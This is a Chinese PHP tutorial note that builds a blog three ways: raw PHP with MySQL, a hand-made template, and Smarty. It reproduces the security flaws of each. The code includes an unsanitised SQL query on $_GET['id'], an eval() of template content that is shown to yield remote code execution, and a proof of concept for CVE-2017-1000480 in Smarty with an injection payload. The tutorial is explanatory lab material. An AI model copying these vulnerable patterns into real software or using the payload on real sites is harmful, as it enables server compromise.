Day26 -php开发05 -搭建个人博客三种实现:自己写前后端 套用现成模板 调用第三方模板引擎smarty 及三种方法的缺点
环境要求:小皮 + navicat + php
前置:创建新表及其记录
在demo1库下创建新的表news,列名依次如图所示,创建一条记录。
如果插入报错:Navicat报错1366-Incorrect string value:‘xxx‘ for column ‘xx‘ at row的解决方法_navicat 1366-CSDN博客
其中图片是:写所在文件夹的路径
一、基础逻辑复现
逻辑:以主键id线索 ---> 利用mysql查找语句找库里的数据 -->
mysqli_query()执行,mysqli_fetch_row()提取 --->然后echo各个值 -->混编一下html,将图片显示
<?php include "config.php";$id = $_GET['id'] ?? '1'; $sql = "select * from news where id=$id "; $data = mysqli_query($con,$sql); // 执行mysql查询语句 while ($row=mysqli_fetch_row($data)){ // 提取mysql查询后的数据echo $row['1']."<br>"; echo $row['2']."<br>";echo $row['3']."<br>";echo $row['4']."<br>";echo "<img src='$row[5]' height='300' width='400'>.</img>.<br>";}
测试一下:
但是这样显示的太过于潦草了,就没有那种结构感和秩序感。所以引入一个技术,模板技术。
二、自己去套用模板技术
原理:将模板的值以变量形式传入传出,我们只需要进行变量的赋值即可实现内容自定义。
1、拿到一套模板
先拿一套模板过来,从网上找也可以,gpt生成也可以。
<!DOCTYPE html> <html> <head><meta charset="UTF-8"><title>{page_title}</title><style>/* 一些样式 */body {font-family: Arial, sans-serif;margin: 0;padding: 0;}header {background-color: #4CAF50;color: white;text-align: center;padding: 20px;}nav {background-color: #f2f2f2;display: flex;justify-content: space-between;padding: 10px;}nav a {color: black;text-decoration: none;padding: 10px;border-radius: 5px;transition: background-color 0.3s ease;}nav a:hover {background-color: #4CAF50;color: white;}.container {max-width: 1200px;margin: 0 auto;padding: 20px;}h1 {font-size: 36px;font-weight: bold;margin-bottom: 20px;}p {font-size: 18px;line-height: 1.5;margin-bottom: 20px;}ul {margin-left: 20px;margin-bottom: 20px;}li {margin-bottom: 10px;}</style> </head> <body> <header><h1>{heading}</h1> </header> <nav><a href="#">首页</a><a href="#">新闻</a><a href="#">留言</a><a href="#">关于</a> </nav> <div class="container"><h1>{subheading}</h1><p>{content}</p><img src="{$item}" width="1000" height="3000"></img></div> </body> </html>
看效果:确实是变量传入传出的格式。
2、后端套用模板
方法:首先利用函数 file_get_contents()将html文件导入,并用变量去接收。
其次利用str_replace()对html前端中的变量进行赋值
1)将前端文件导入
$template = file_get_contents('new.html');
2)后端设置好变量与数据库中的数据进行对接
因为我们刚刚是直接根据索引echo出从数据库中的数据的,但是我们需要对前端的变量(做占位符)进行替换,所以我们需要创建变量来代表实际值。
while ($row=mysqli_fetch_row($data)){ // 提取mysql查询后的数据$page_title=$row['1'];$heading=$row['2'];$subheading=$row['3'];$content=$row['4'];$item=$row['5'];}
3)给前端变量(占位符)进行后端变量(实际值)的替换
$template=str_replace('{page_title}',$page_title,$template); // 参数1:模板中的占位符 参数2:实际值 参数3:搜索范围 $template=str_replace('{heading}',$subheading,$template); $template=str_replace('{subheading}',$subheading,$template); $template=str_replace('{content}',$content,$template); $template=str_replace('{$item}',$item,$template); eval('?>' . $template); // 执行
测试看效果:
3、自己套用模板容易出现的安全问题 【rce安全问题】
服务端代码执行漏洞(Remote Code Execution, RCE)
如果在数据库内加入php代码,以phpinfo为例,<?php phpinfo() ?>
再次访问页面
原因:源码中有eval(),就会直接执行变量中的值的操作。
那么我们自己去找模板,再去修改进行调用,很容易控制不好,引发各类安全问题。所以我们可以用第三方模板引擎,以Smarty为主。
三、第三方php模板引擎smarty的调用
smarty实现:实现了前后端分离,前端不会执行php代码。比自己调用模板更安全,但是不代表绝对安全。
1、使用方法
1)将smarty对应版本文件解压并放到文件夹中
2)创建一共php文件,命名为index.php 并添加代码
<?php // 引入 Smarty 类文件 require('smarty/libs/Smarty.class.php'); // 创建 Smarty 实例 $smarty = new Smarty; // 设置 Smarty 相关属性 $smarty->template_dir = 'smarty/templates/'; $smarty->compile_dir = 'smarty/templates_c/'; $smarty->cache_dir = 'smarty/cache/'; $smarty->config_dir = 'smarty/configs/'; // 赋值变量到模板中 $smarty->assign('title', '欢迎使用 Smarddddty'); // 显示模板 $smarty->display('index.tpl'); ?>
3)设置前端页面
创建templates文件夹,并且放入index.tpl文件
将前端代码,直接放入tpl文件
我们这里用官方例子:
<!DOCTYPE html> <html> <head><title>{$title}</title> </head> <body> <h1>{$title}</h1> <p>这是一个使用 Smarty 的例子。</p> </body> </html>
访问一下index.php看结果
2、引发的安全问题(漏洞复现)
可能存在多种漏洞,例如模板注入、cve、沙箱逃逸等。我们这里给一共cve的漏洞复现。
1)导包 并创建写入index1.php
写入:
<?phpdefine('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/smarty3/templates_c');define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/smarty3/cache');include_once(SMARTY_ROOT_DIR . '/smarty3/libs/Smarty.class.php');class testSmarty extends Smarty_Resource_Custom {protected function fetch($name, &$source, &$mtime){$template = "CVE-2017-1000480 smarty PHP code injection";$source = $template;$mtime = time();} }$smarty = new Smarty(); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('test', new testSmarty); $smarty->display('test:'.@$_GET['x']); ?>
2)进行cve复现
由于我们给了一个get参数去承接
于是我们访问时候给参数x赋值
那么就赋值给x
/index1.php?x=*/phpinfo();//
假如我们换做刚刚的4版本(演示如何使用的时候的版本),我们会发现刚刚3版本的cve漏洞不存在了。
所以这个给我们的提醒是什么??
漏洞对应版本漏洞!
第三方的插件(ueditor)、模板(smarty)、组件(shiro、fastjson)也是有漏洞的,只要符合网上提交漏洞的版本,就存在漏洞。